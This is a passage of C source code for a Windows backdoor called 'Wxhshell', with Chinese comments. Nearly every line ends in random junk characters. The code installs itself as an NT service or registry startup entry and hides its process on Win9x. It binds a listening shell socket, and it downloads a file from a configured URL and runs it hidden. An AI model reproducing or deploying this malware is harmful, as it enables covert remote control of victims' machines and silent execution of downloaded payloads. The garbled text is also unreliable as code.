PROCNTQSIP NtQueryInformationProcess; NcY608C
}9nDo*A"}
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9"g6C<
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R8.CC1Ix
K~ ;45Z2
HANDLE hProcess; 1S@vGq}
PROCESS_BASIC_INFORMATION pbi; JxyB(
Nk {XdrY
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V!)O6?l
if(NULL == hInst ) return 0; T#bu
V
ZvcJK4hi
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g-Pwp[!qkf
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b!M"VDjQ
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Nj("|`9"
>E*$
E
if (!NtQueryInformationProcess) return 0; uc|45Zxt
xe/(
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {rcnM7 S1L
if(!hProcess) return 0; =y=cW1TG
}NsUnbxT
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4H@Wc^K
pmX#E
CloseHandle(hProcess); :d ~|jS
(Vo>e =q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7Pa@1']
if(hProcess==NULL) return 0; A&>.74}p
V2N_8)s9W
HMODULE hMod; PfkrOsV/m
char procName[255]; 28
3H
unsigned long cbNeeded; ~F1:N>>_Cf
j(~ *'&|(
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dDnf^7q/
[TNj;o5J
CloseHandle(hProcess); s: 3z'4oX
6m6zA/
if(strstr(procName,"services")) return 1; // 以服务启动 <8,cuX\
ne^imht
return 0; // 注册表启动 E= `6-H{
} dg^L=
je]}R>[r5
// 主模块 iDf,e Kk$'
int StartWxhshell(LPSTR lpCmdLine) 8uA,iYD
{ O@YTAT&d#
SOCKET wsl; Z{H5oUk
BOOL val=TRUE; bGorH=pb5R
int port=0; @BNEiOAZ#
struct sockaddr_in door; p019)X|vx
1Z,[|wJ
if(wscfg.ws_autoins) Install(); ^Idle*+
C)cwAU|h#
port=atoi(lpCmdLine); /Wf^hA
F4e:ZExJ
if(port<=0) port=wscfg.ws_port;
TT-h;'nJ
ApjOj/
WSADATA data; zq%D/H6J,
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; frBX{L
!Kv@\4
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; A19;1#$=
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A4ISNM7R[
door.sin_family = AF_INET; J/3_C6UZ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); aH#l9kCb
door.sin_port = htons(port); bMU(?hb
z~A]9|/61v
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @JRNb=?a
closesocket(wsl); 3"{.37Q
return 1; ~xoF6CF
} 77Bgl4P
pFJB'=c
if(listen(wsl,2) == INVALID_SOCKET) { #]'rz,E<
closesocket(wsl); Oez>X=Xf
return 1; cm[c ze+*
} SRSvot};C
Wxhshell(wsl); C{d7J'Avk
WSACleanup(); sCu+Lg~f
aj}(E+
return 0; 1@lJonlF
:\=CRaA
} +b3^.wkq
~.!c~fke
// 以NT服务方式启动 )$,"u4
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *&
m#qEv
{ t3+Py7qv
DWORD status = 0; SI8%M=P>
DWORD specificError = 0xfffffff; \Vl`YYjZ
Jnv@.
serviceStatus.dwServiceType = SERVICE_WIN32; |c`w'W?C6
serviceStatus.dwCurrentState = SERVICE_START_PENDING; > ,DbNmi
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (L`j0kPN
serviceStatus.dwWin32ExitCode = 0; ;m2<eS`o'
serviceStatus.dwServiceSpecificExitCode = 0; rSYi<ku
serviceStatus.dwCheckPoint = 0; b?eu jxqg
serviceStatus.dwWaitHint = 0; _A0w[n
j;Z?WXWDh
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~gu3g^<0v
if (hServiceStatusHandle==0) return; TB;o~>9U
0VK-g}"x
status = GetLastError(); _FwK-?4E-
if (status!=NO_ERROR) uWrQ&}@
{ XbQlHfrS
serviceStatus.dwCurrentState = SERVICE_STOPPED; FW.$5*f='
serviceStatus.dwCheckPoint = 0; EJ`T$JD
serviceStatus.dwWaitHint = 0; \Y}3cE
serviceStatus.dwWin32ExitCode = status; i9=&;_z
serviceStatus.dwServiceSpecificExitCode = specificError; $O^v]>h
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ./$cMaDJ
return; fJWC)E
} F9*g=
p7H3J?`w1+
serviceStatus.dwCurrentState = SERVICE_RUNNING; 5cWw7V<m
serviceStatus.dwCheckPoint = 0; =v*.p=r
serviceStatus.dwWaitHint = 0; PH{_,X
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [ib P%xb
} %N#%|2B
$Q*<96M
// 处理NT服务事件,比如:启动、停止 />j';6vi
VOID WINAPI NTServiceHandler(DWORD fdwControl) eW>3XD4
{ XerbUkZ
switch(fdwControl) 95<EN(oUD
{ %2V-~.Ro6
case SERVICE_CONTROL_STOP: Rml2"9"`
serviceStatus.dwWin32ExitCode = 0; \qUKP"dr
serviceStatus.dwCurrentState = SERVICE_STOPPED; v)_nWu
serviceStatus.dwCheckPoint = 0; i{I~mrm/'\
serviceStatus.dwWaitHint = 0; VS&TA>
{ b^[F""!e
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [2|kl
l
} WYc7aciJ
return; eu|j=mB
case SERVICE_CONTROL_PAUSE: 4hw@yTUo
serviceStatus.dwCurrentState = SERVICE_PAUSED; *kIc9}
break; =f(cH152T
case SERVICE_CONTROL_CONTINUE: V
_c@ b%
serviceStatus.dwCurrentState = SERVICE_RUNNING; W14Vm(`N
break; (
9]_ HW[
case SERVICE_CONTROL_INTERROGATE: &5L<i3BX
break; cv/_r#vN
}; b}Zd)2G
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ".dZn6"mI
} :eZh'-c?
`CeJWL5{
// 标准应用程序主函数 *:O.97q@h
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o!~Jzd.=h
{ 1@gg uRF:
G7=pBf
// 获取操作系统版本 *SO{\bu
OsIsNt=GetOsVer(); {vo +gRYYv
GetModuleFileName(NULL,ExeFile,MAX_PATH);
U?!>Nd
O 1oxZj
<
// 从命令行安装 A_;8IlW
if(strpbrk(lpCmdLine,"iI")) Install(); j:w{;(1=W
>><.3
// 下载执行文件 ]QuM<ms
if(wscfg.ws_downexe) {
=~I-]4
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IuZ) [*W
WinExec(wscfg.ws_filenam,SW_HIDE); TT9z_Q5~
} {-A^g!jT&
|+$%kJR=
if(!OsIsNt) { 1jX3ey~
// 如果时win9x,隐藏进程并且设置为注册表启动 ;=? ~
-_
HideProc(); :{q"G#
StartWxhshell(lpCmdLine); >O5m5@GK3a
} \u&_sBLKV
else .%zy`n
if(StartFromService()) GQ_p-/p
R
// 以服务方式启动 \cLSf=
StartServiceCtrlDispatcher(DispatchTable); 6DZ),F,M
else Iyo@r%I
// 普通方式启动 &P,^.'
StartWxhshell(lpCmdLine); ?X&6M;Zi
*GUAO){'
return 0; Yhp]x
}